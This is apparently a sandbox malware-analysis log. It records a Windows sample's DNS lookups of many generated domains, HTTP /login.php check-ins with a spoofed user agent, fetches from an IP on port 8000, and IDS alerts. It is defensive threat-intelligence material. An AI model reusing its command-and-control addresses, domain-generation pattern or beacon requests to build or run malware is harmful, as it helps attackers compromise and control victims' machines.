Source: unknownDNS traffic detected: query: lygytyd.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyvig.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopybok.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyleq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volybec.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetylip.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocybam.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumydoq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyvoz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyfyz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volyjok.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqydus.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqyreh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyxyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyloq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymysan.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofydut.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qetyxeg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygyxun.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojymet.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofybic.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahydoh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyryvur.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufylap.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekyfeg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gadykos.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvylyg.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekytyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganyzub.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvypul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykyfen.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puvycip.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pumygyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxytex.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vofyref.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebykap.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gaqydeb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxysun.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexyryl.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qegynuv.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: purylev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykylan.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyzac.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lymygyx.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowyzam.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocyquc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qekynuq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatyrez.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopypif.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vonyket.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pufygav.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ganypeb.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzymev.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gahyvew.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujylog.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxyvoj.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygygin.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: gatykow.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qeqyreq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lykywid.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: volyjym.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lygynox.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedynul.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qebylug.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vopyzuc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowyqoc.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vowycut.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qexynyp.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vocykem.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: vojygut.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: qedyqup.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: galyheh.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: pujybyq.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: lyxymin.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: puzyguv.com replaycode: Name error (3)
Uses known network protocols on non-standard ports
Source: unknownNetwork traffic detected: HTTP traffic on port 58882 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 58882
Source: unknownNetwork traffic detected: HTTP traffic on port 58882 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 58882
Source: unknownNetwork traffic detected: HTTP traffic on port 58882 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 58882
Source: unknownNetwork traffic detected: HTTP traffic on port 58882 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 58882
Source: unknownNetwork traffic detected: HTTP traffic on port 64583 -> 8000
Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 64583
Source: unknownNetwork traffic detected: DNS query count 1003
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C83D90 IsUserAnAdmin,IsNetworkAlive,IsUserAnAdmin,DnsFlushResolverCache,memset,lstrcpynA,lstrcpynA,StrNCatA,StrNCatA,InternetCheckConnectionA,InternetCheckConnectionA,memset,lstrcpynA,StrNCatA,InternetCheckConnectionA,2_2_02C83D90
Source: global trafficTCP traffic: 192.168.2.6:58882 -> 106.15.232.163:8000
Source: global trafficDNS traffic detected: number of DNS queries: 1003
Source: Joe Sandbox ViewIP Address: 3.94.10.34 3.94.10.34
Source: Joe Sandbox ViewIP Address: 64.190.63.136 64.190.63.136
Source: Joe Sandbox ViewASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox ViewASN Name: CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd
Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.208.156.248:80 -> 192.168.2.6:49711
Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.208.156.248:80 -> 192.168.2.6:49711
Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.6:49708
Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.6:49708
Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.6:58874
Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.6:58874
Source: Network trafficSuricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 52.34.198.229:80 -> 192.168.2.6:52002
Source: Network trafficSuricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 52.34.198.229:80 -> 192.168.2.6:52002
Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.6:62044
Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.6:56242
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygynud.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
Source: global trafficHTTP traffic detected: GET /dh/147287063_134827.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.com
Source: global trafficHTTP traffic detected: GET /dh/147287063_134827.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.232.163:8000Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galynuh.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyxynyx.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyciz.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vofycot.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.com
Source: global trafficHTTP traffic detected: GET /login.php?subid1=20241112-0413-1393-8b92-799b17a46fa8 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww25.lyxynyx.comConnection: Keep-AliveCookie: __tad=1731345193.2353053
Source: global trafficHTTP traffic detected: GET /login.php?sub1=20241112-0413-1304-9c25-d9b9aac71030 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww16.vofycot.comConnection: Keep-AliveCookie: __tad=1731345193.3163760
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyhyg.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygyvuj.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyhiz.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
